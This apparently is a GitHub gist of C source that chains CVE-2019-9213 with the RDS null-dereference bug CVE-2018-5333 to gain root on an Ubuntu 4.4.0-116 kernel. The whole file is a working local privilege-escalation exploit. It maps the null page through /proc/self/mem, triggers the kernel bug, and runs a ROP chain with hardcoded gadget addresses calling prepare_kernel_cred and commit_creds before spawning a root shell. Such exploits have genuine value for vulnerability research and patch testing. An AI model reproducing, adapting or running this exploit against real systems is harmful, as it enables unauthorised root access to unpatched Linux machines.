Created
March 9, 2019 01:26
-
-
Save wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4 to your computer and use it in GitHub Desktop.
Example of using CVE-2019-9213 to make previous kernel bugs exploitable
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// 4.4.0-116-generic #140-Ubuntu SMP | |
#define _GNU_SOURCE | |
#include <err.h> | |
#include <fcntl.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/mman.h> | |
#include <unistd.h> | |
#include <stdio.h> | |
#include <string.h> | |
#include <stdint.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <linux/rds.h> | |
#include <netinet/in.h> | |
#include <unistd.h> | |
#include <signal.h> | |
#include <setjmp.h> | |
#include <execinfo.h> | |
#include <ucontext.h> | |
#define RAND_SIZE 4096 | |
// from https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c | |
void trigger_bug() | |
{ | |
struct sockaddr_in sin; | |
struct msghdr msg; | |
char buf[RAND_SIZE]; | |
struct cmsghdr cmsg; | |
memset(&sin,0,sizeof(struct sockaddr)); | |
memset(&msg,0,sizeof(msg)); | |
memset(buf,0x40,sizeof(buf)); | |
memset(&cmsg,0,sizeof(cmsg)); | |
int fd = socket(0x15,5,0); | |
if(fd < 0) { | |
perror("socket"); | |
return; | |
} | |
sin.sin_family = AF_INET; | |
sin.sin_port = htons(2000); | |
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK); | |
bind(fd,(struct sockaddr*)&sin,sizeof(sin)); | |
cmsg.cmsg_len = RAND_SIZE; | |
cmsg.cmsg_type = RDS_CMSG_MASKED_ATOMIC_CSWP; | |
cmsg.cmsg_level = SOL_RDS; | |
memcpy(&buf[0],&cmsg,sizeof(cmsg)); | |
*(uint64_t *)(buf + 0x18) = 0x40404000; /* args->local_addr */ | |
msg.msg_name = &sin; | |
msg.msg_namelen = sizeof(sin); | |
msg.msg_iov = NULL; | |
msg.msg_iovlen = 0; | |
msg.msg_control = buf; | |
msg.msg_controllen = RAND_SIZE; | |
msg.msg_flags = MSG_DONTROUTE|MSG_PROXY|MSG_WAITALL; | |
sendmsg(fd,&msg,0); | |
} | |
// from https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2 | |
void map_null() { | |
void *map = | |
mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE, | |
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0); | |
if (map == MAP_FAILED) | |
err(1, "mmap"); | |
int fd = open("/proc/self/mem", O_RDWR); | |
if (fd == -1) | |
err(1, "open"); | |
unsigned long addr = (unsigned long)map; | |
while (addr != 0) { | |
addr -= 0x1000; | |
if (lseek(fd, addr, SEEK_SET) == -1) | |
err(1, "lseek"); | |
char cmd[1000]; | |
sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd); | |
system(cmd); | |
} | |
} | |
// based on https://github.com/vnik5287/kernel_rop | |
unsigned long user_cs, user_ss, user_rflags; | |
static void save_state() { | |
asm( | |
"movq %%cs, %0\n" | |
"movq %%ss, %1\n" | |
"pushfq\n" | |
"popq %2\n" | |
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"); | |
} | |
void handler(int signo, siginfo_t* info, void* vcontext) {} | |
void debug_enable_sigsev_handler() { | |
struct sigaction action; | |
memset(&action, 0, sizeof(struct sigaction)); | |
action.sa_flags = SA_SIGINFO; | |
action.sa_sigaction = handler; | |
sigaction(SIGSEGV, &action, NULL); | |
} | |
static void shell() { | |
system("/bin/sh"); | |
exit(0); | |
} | |
static unsigned long result = 0; | |
unsigned long xor_rdi = 0xffffffff8105e0c5; // xor edi, edi; ret; | |
unsigned long mov_rdi_rax = 0xffffffff8117d5d7; //: mov rdi, rax; pop rbx; mov rax, rdi; pop r12; pop rbp; ret; | |
unsigned long prepare_kernel_cred = 0xffffffff810a50e0; | |
unsigned long commit_creds = 0xffffffff810a4cf0; | |
unsigned long xchg_esp = 0xffffffff8140ed08; //: xchg eax, esp; shr bl, 0xbf; xor eax, eax; pop rbp; ret; | |
unsigned long swapgs = 0xffffffff81065734; //: swapgs; pop rbp; ret; | |
unsigned long iretq = 0xffffffff813a5b04; //: iretq; | |
int main() { | |
map_null(); | |
unsigned long *fake_stack = mmap((void *)0x8140e000, 0x200000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0); | |
unsigned long *temp_stack = mmap((void*) 0x30000000, 0x10000000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0); | |
unsigned long *data = (unsigned long *)0; | |
data[1] = &result; | |
data[3] = xchg_esp; | |
save_state(); | |
debug_enable_sigsev_handler(); | |
fake_stack = 0x8140ed08; | |
int i = 0; | |
fake_stack[i++] = xor_rdi; | |
fake_stack[i++] = prepare_kernel_cred; | |
fake_stack[i++] = mov_rdi_rax; | |
fake_stack[i++] = 0x12345678; | |
fake_stack[i++] = 0x12345678; | |
fake_stack[i++] = 0x12345678; | |
fake_stack[i++] = commit_creds; | |
fake_stack[i++] = swapgs; | |
fake_stack[i++] = 0x12345678; | |
fake_stack[i++] = iretq; | |
fake_stack[i++] = (unsigned long)shell; | |
fake_stack[i++] = user_cs; | |
fake_stack[i++] = user_rflags; | |
fake_stack[i++] = (unsigned long)(temp_stack+0x500000); | |
fake_stack[i++] = user_ss; | |
trigger_bug(); | |
return 0; | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment